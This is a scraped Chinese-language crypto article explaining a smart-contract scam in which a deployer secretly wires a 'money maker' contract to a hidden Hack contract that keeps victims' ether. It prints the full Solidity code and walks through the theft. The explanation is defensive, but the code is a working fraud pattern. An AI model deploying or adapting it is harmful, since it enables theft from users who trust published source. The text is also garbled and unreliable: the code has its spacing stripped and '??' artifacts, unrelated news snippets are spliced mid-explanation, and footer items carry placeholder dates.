概述
上期我們了解了利用tx.origin進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。
前置知識
大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個A合約并告訴受害者我們會在部署A合約的構造函數中傳入B合約的地址并將B合約開源,其實我們會在部署A合約時傳入C合約的地址,如果受害者完全信任我們沒有檢查部署A合約的那筆交易,我們就完美的將惡意代碼隱藏在了C合約中。我們可以從下圖來理解這個邏輯:
用戶以為的調用路徑:
部署合約A傳入合約B地址,這樣調用路徑為正常路徑。
實際的調用路徑:
企業級區塊鏈平臺SettleMint推出AI助手,以輔助Web3開發人員編寫智能合約:金色財經報道,企業級區塊鏈平臺SettleMint最近在其平臺上推出AI助手,以幫助Web3開發人員編寫智能合約。SettleMint聯合創始人兼首席技術官Roderik van der Veer表示,SettleMint創造人工智能助手并不是為了取代人類,人工智能可以幫助起草智能合約,但其真正的價值在于解釋每一行代碼的作用。SettleMint主要在OpenAI的GPT-4上對人工智能助手進行培訓,并向其提供有關區塊鏈開發的最新信息。[2023/8/3 16:16:10]
部署合約A傳入合約C地址,這樣調用路徑為非正常路徑。
下面我們使用一個簡單的例子來分析這個騙局:
惡意代碼
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}
螞蟻集團魏長征:區塊鏈從業者需重點關注智能合約等方向:金色財經報道,針對“人社部發布區塊鏈工程技術人員等新職業”一事,螞蟻集團區塊鏈平臺高級技術專家魏長征建議區塊鏈的從業者,首先要打好技術基礎。區塊鏈是綜合性的平臺技術,需要加強計算機領域的基礎課程,比如程序設計、操作系統、體系架構、編譯原理。其次,在基礎之上,根據自身興趣考慮發展方向。目前涉及的方向有共識算法方向,需要深耕分布式系統原理和設計;智能合約方向,要了解主流合約編程技術和虛擬機技術;隱私保護方向,要鉆研密碼學理論和應用技術,并全面了解零知識證明、多方安全計算、硬件可信執行環境等。對于剛入門區塊鏈工程建設可選擇學習知名的公鏈和聯盟鏈開源項目,如以太坊、超級賬本等。[2020/7/7]
騙局分析
可以看到,上述代碼中存在三個合約,我們先結合前置知識中的A,B,C三個角色來區分三個合約分別代表什么角色:
MoneyMaker合約代表A合約;
Vault合約代表B合約;
動態 | pEOS發布智能合約 宣布在EOS上實施UTXO:據MEET.ONE 報道,pEOS團隊今日發布一項智能合約,宣布在EOS上實施UTXO。 Unspent Transaction Output (UTXO)是指未消費的交易輸出。它最初運用于比特幣,是一個包含交易數據和執行代碼的數據結構,可以簡單理解為某地址已經收到的但是尚未消費出去的token。錢包的總余額是通過跟蹤和添加該錢包可用的所有UTXO來計算。用戶不能只消費一部分UTXO,它是作為一個整體來消費的。[2019/6/27]
Hack合約代表C合約。
所以用戶以為的調用路徑為:
MoneyMaker->Vault。
而實際的調用路徑為:
MoneyMaker->Hack。
下面我們來看看攻擊者如何完成騙局的:
1.Evil部署Vault(B)合約并在合約中留存100ETH資金,在鏈上將Vault(B)合約開源;
動態 | 支付初創公司Wyre收購比特幣智能合約開發商:Crypto支付初創公司Wyre收購了風險投資支持的比特幣智能合約開發公司Hedgy的100%股權。該公司聯合創始人兼首席運營官約阿尼斯?賈納羅斯(Ioannis Giannaros)在接受CoinDesk采訪時表示,這筆交易將幫助Wyre拓寬其為crypto初創公司提供的服務范圍。Wyre通過使用比特幣、ethereum、litecoin等加密貨幣進行跨境支付來結算交易。[2018/9/7]
2.Evil部署Hack(C)惡意合約;
3.Evil放出消息說他將會部署一個開源的賺錢MoneyMaker(A)合約,部署時會將Vault(B)合約地址傳入且會調用Vault.setMacker()將maker角色設置為MoneyMaker合約地址,任何人調用MoneyMaker.makeMoney()向合約中打入不少于一個以太都會得到雙倍以太的回報;
4.Bob收到消息,了解到MoneyMaker合約的存在,他看了MoneyMaker(A)和Vault(B)合約的代碼并檢查了Vault(B)合約中的余額發現邏輯確實如Evil說的那樣,他在沒有檢查MoneyMaker(A)部署交易的情況下就相信了Evil;
動態 | 蘇黎世聯邦理工學院開發以太坊智能合約掃描儀:蘇黎世聯邦理工學院的研究人員開發了一個以太坊智能合約掃描儀,用以檢查智能合約是否存在漏洞、bug、或是其他潛在問題。這些研究人員包括Petar Tsankov博士,Hubert Ritzdorf博士,Martin Vechev教授和Arthur Gervais博士,他們都在系統安全方面擁有豐富的行業和學術經驗,并且努力改進區塊鏈智能合約。最近,這幾位研究人員成立了一家名為ChainSecurity的公司,旨在幫助開發人員和ICO項目方推出他們的代幣。[2018/7/15]
5.Bob調用MoneyMaker.makeMoney()向合約中打入自己全部身家20ETH,在他滿懷期待等著收到Vault(B)打來的40ETH時等來的卻是一句"Haha,youretherismine!"。
咋回事呢?其實這個騙局非常簡單但是很常見。Evil在部署MoneyMaker合約時傳入的并不是Vault合約的地址,而是傳入了Hack合約的地址。所以當Bob調用MoneyMaker.makeMoney()時并不會像他想像中的那樣MoneyMaker.makeMoney()去調用Vault.transfer()回打給他雙倍的以太,而是調用了Hack.transfer()拋出了一個事件:"Haha,youretherismine!"。最后Evil調用Vault.withrow()將Vault合約中的100ETH轉出,并通過Hack.withrow()將Bob轉入的20ETH轉出。
預防建議
以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。
Tags:MAKEMakerULTVAULTCrypto Makers Foundationmakerdao官網appVulture PeakZKVAULT
背景概述 在上篇文章中我們了解了合約中隱藏的惡意代碼,本次我們來了解一個非常常見的攻擊手法——搶跑.
1900/1/1 0:00:00自從我們在2019年末首次推出Rarible以來,NFT領域取得了前所未有的進步,因為僅在過去幾個月中它就達到了幾個主要的里程碑.
1900/1/1 0:00:00跑步賦予女性活力,運動賦予女性魅力。伴隨“麗人18”女子半程馬拉松的臨近,iBox鏈盒與王者傳奇體育文化有限公司,共同攜手推出《2023“麗人18”》系列數字藏品,用數字技術呈現女性之美.
1900/1/1 0:00:00在Twitter所有者兼首席執行官埃隆·馬斯克(ElonMusk)發布一條推文后,MiladyMakerNFT今天的價格飆升,他分享了一張展示動漫風格的以太坊NFT個人資料圖片(PFP)的模因.
1900/1/1 0:00:00北京時間2月14日情人節當晚,以太坊創始人VitalikButerin聯合以太坊基金會研究人員DankradFeist一起舉辦了一場關于擴容解決方案“Danksharding”的教育研討會.
1900/1/1 0:00:00原Facebook數字貨幣Libra負責人、現FacebookFinancial金融業務負責人及Novi錢包負責人DavidMarcus在推特上發文,疑似抨擊加密貨幣行業炫富現象.
1900/1/1 0:00:00